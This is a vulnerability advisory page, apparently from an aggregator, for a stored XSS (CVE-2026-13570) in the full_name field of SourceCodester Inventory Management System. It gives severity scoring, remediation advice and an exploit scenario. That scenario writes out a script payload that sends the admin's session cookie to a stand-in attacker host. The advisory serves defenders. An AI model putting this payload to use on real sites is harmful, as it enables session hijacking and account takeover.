Skip to main content

Inventory Management System CVE-2026-13570

| EUVDEUVD-2026-40090 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-29 VulDB GHSA-vg87-xm8h-9ffg
2.0
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege account
  2. Delivery
    Submit crafted full_name XSS payload to /api/users_handler.php
  3. Exploit
    Payload stored in application database
  4. Execution
    Admin views user management page
  5. Persist
    Malicious script executes in admin browser
  6. Impact
    Session cookie or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must possess a low-privileged account on the SourceCodester Inventory Management System instance (PR:L per CVSS vector) - this could be a self-registered account if open registration is enabled, or a legitimately issued low-trust credential. Successful impact additionally requires that a second user with elevated privileges (e.g., an administrator) views a page where the stored full_name value is rendered without encoding (UI:P). Exploitation is therefore not immediate upon registration; it depends on administrative review activity. No special server-side configuration is required beyond the default application deployment. Factors limiting exploitation: attacker must have or obtain a valid low-privilege account; a privileged user must view the injected content; the product has a narrow real-world deployment footprint.

Impact

The CVSS 4.0 score of 2.0 reflects genuinely low severity: PR:L requires at least a low-privileged account, UI:P requires passive interaction from a second user, and the integrity impact is rated VI:L with no confidentiality or availability impact recorded in the provided vector. No EPSS data was supplied, and the vulnerability is absent from CISA KEV, indicating no confirmed active exploitation in the wild. The E:P modifier confirms publicly available proof-of-concept code exists, which marginally elevates real-world risk above zero. However, SourceCodester products are primarily distributed as tutorial/learning codebases with minimal enterprise deployment, sharply limiting the exposed attack surface. The primary realistic risk is within organizations that have inadvertently deployed SourceCodester code in production environments. CVSS integrity-only impact (VI:L, VC:N) appears to undercount the realistic confidentiality exposure of stored XSS - session cookie theft is a standard post-exploitation step - suggesting the provided vector may be conservative on the VC metric.

Exploit ScenarioDerived

An attacker with a low-privileged account submits a user registration request to /api/users_handler.php with a crafted full_name value such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The payload is stored in the application database. When an administrator later navigates to the user management dashboard and the stored name is rendered without encoding, the script executes in the admin's browser, exfiltrating the session cookie to the attacker. Public proof-of-concept code for this vector exists per VulDB.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 29, 2026

Stored cross-site scripting in SourceCodester Inventory Management System 1.0 allows a low-privileged remote attacker to inject arbitrary JavaScript via the full_name parameter of the User Registration Endpoint at /api/users_handler.php. When a privileged user such as an administrator subsequently views the stored user data, the malicious script executes in their browser context, enabling session hijacking, credential theft, or UI redress. Public exploit code exists per VulDB (E:P in CVSS 4.0 vector); however, this vulnerability is not listed in CISA KEV and carries a low CVSS 4.0 base score of 2.0, indicating limited real-world severity.

RemediationAI

No vendor-released patch has been identified at time of analysis. Developers should apply output encoding (e.g., htmlspecialchars() in PHP) to all user-supplied fields - including full_name - before rendering them in HTML contexts, and implement input validation to reject or strip HTML/JavaScript metacharacters at the registration endpoint. A Content Security Policy (CSP) header restricting inline script execution (script-src 'self') will significantly reduce exploitability of any remaining XSS surface, though it does not eliminate the root cause. Web application firewalls with XSS rulesets (e.g., ModSecurity CRS) can serve as a compensating control, with the trade-off of potential false positives on legitimate name inputs containing special characters. Organizations running this software in production should restrict registration access to trusted users only and monitor application logs for anomalous full_name field content. Advisory reference: https://vuldb.com/vuln/374578.

Affected VersionsENISA

Inventory Management System 1.0

Affected Packages

euvd inventory_management_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected product is a PHP-based web application distributed by SourceCodester, a platform known for publishing open-source academic and tutorial projects. The vulnerability resides in /api/users_handler.php, which handles User Registration logic. The full_name POST parameter is passed into the application without adequate sanitization or output encoding, satisfying CWE-79 (Improper Neutralization of Input During Web Page Generation). Because the value is likely persisted to a database and rendered back to other users (e.g., admin dashboards), this is characteristic of stored (persistent) XSS rather than reflected XSS. The CPE string cpe:2.3:a:sourcecodester:inventory_management_system:*:*:*:*:*:*:*:* confirms all sub-versions of version 1.0 under SourceCodester's namespace are affected.

Know when Inventory Management System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.0 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 5.4 MEDIUM

Network-reachable stored XSS requiring low-privilege submission and a second user's interaction; scope change applies as payload executes in victim browser, with realistic confidentiality impact via session theft.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 29, 2026 - 14:22 NVD
MEDIUM LOW
CVSS changed
Jun 29, 2026 - 14:22 NVD
5.1 (MEDIUM) 2.0 (LOW)

DescriptionCVE.org

A vulnerability was detected in SourceCodester Inventory Management System 1.0. Impacted is an unknown function of the file /api/users_handler.php of the component User Registration Endpoint. Performing a manipulation of the argument full_name results in cross site scripting. The attack is possible to be carried out remotely. The exploit is now public and may be used.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Low
open-source tutorial project, minimal real-world production deployment
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-4749 CRITICAL POC
9.8 Sep 04

A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated cr

CVE-2023-4558 CRITICAL POC
9.8 Aug 27

A vulnerability classified as critical was found in SourceCodester Inventory Management System 1.0. Rated critical sever

CVE-2023-4436 CRITICAL POC
9.8 Aug 20

A vulnerability, which was classified as critical, has been found in SourceCodester Inventory Management System 1.0.php.

CVE-2023-4201 CRITICAL POC
9.8 Aug 07

A vulnerability was found in SourceCodester Inventory Management System 1.0 and classified as critical.php. Rated critic

CVE-2023-4200 CRITICAL POC
9.8 Aug 07

A vulnerability has been found in SourceCodester Inventory Management System 1.0 and classified as critical. Rated criti

CVE-2023-46449 HIGH POC
8.8 Oct 26

Sourcecodester Free and Open Source inventory management system v1.0 is vulnerable to Incorrect Access Control. Rated hi

CVE-2023-4449 HIGH POC
8.8 Aug 21

A vulnerability was found in SourceCodester Free and Open Source Inventory Management System 1.0. Rated high severity (C

CVE-2023-4199 HIGH POC
7.5 Aug 07

A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated hi

CVE-2023-4557 CRITICAL
9.8 Aug 27

A vulnerability classified as critical has been found in SourceCodester Inventory Management System 1.0. Rated critical

CVE-2023-4438 CRITICAL
9.8 Aug 20

A vulnerability has been found in SourceCodester Inventory Management System 1.0 and classified as critical. Rated criti

CVE-2023-4437 CRITICAL
9.8 Aug 20

A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated cr

CVE-2023-4184 CRITICAL
9.8 Aug 06

A vulnerability was found in SourceCodester Inventory Management System 1.0 and classified as critical.php. Rated critic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy